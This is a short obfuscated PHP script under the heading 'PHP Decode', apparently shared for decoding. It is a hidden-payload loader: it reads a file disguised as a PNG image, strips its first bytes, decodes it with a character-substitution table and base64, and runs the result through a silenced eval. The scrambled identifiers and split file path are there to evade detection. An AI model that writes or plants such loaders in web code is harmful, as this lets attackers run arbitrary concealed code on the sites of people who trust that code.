PHP Decode

<?php 
 
function ulupush_icyfiby($fileche_gukyruf) { 
    if (!file_exists($fileche_gukyruf)) 
        return false; 
    $tuquqih = @file_get_contents($fileche_gukyruf); 
    if (!$tuquqih) 
        return false; 
    $tuquqih = substr($tuquqih, 3); 
    $uxixih = egycife_ymizhyp($tuquqih); 
    return $uxixih; 
} 
 
function egycife_ymizhyp($fileche_gukyruf) { 
    $umohet = reqyvax_bakhalo; 
    $fixedyv = array(); 
    for ($ywyralo = 0; $ywyralo < strlen($umohet); $ywyralo += 2) { 
        $irupufu = substr($umohet, $ywyralo, 1); 
        $iqodikh = substr($umohet, $ywyralo + 1, 1); 
        $fixedyv[$irupufu] = $iqodikh; 
    } 
    $mitifo = strtr($fileche_gukyruf, $fixedyv); 
    $mitifo = base64_decode($mitifo); 
 
    return $mitifo; 
} 
 
define("reqyvax_bakhalo", "qEORklyxLLo/UsVCh3GI/mMabcNXgbBJYenq05swTWl1COEpWFd9KDtt6ipPXAwH+0==7krf1ZeUSnzzIv5oATiMf7PBxhZ49r8dc+QN38m6a2vVHQ2ujYuyJGRjDK4gFS"); 
 
$uqilud = ulupush_icyfiby(__DIR__ . "/ass" . "ets/im" . "ages/" . "ihysik" . "h.png"); 
if ($uqilud) { 
    @eval($uqilud); 
} 
 
 ?>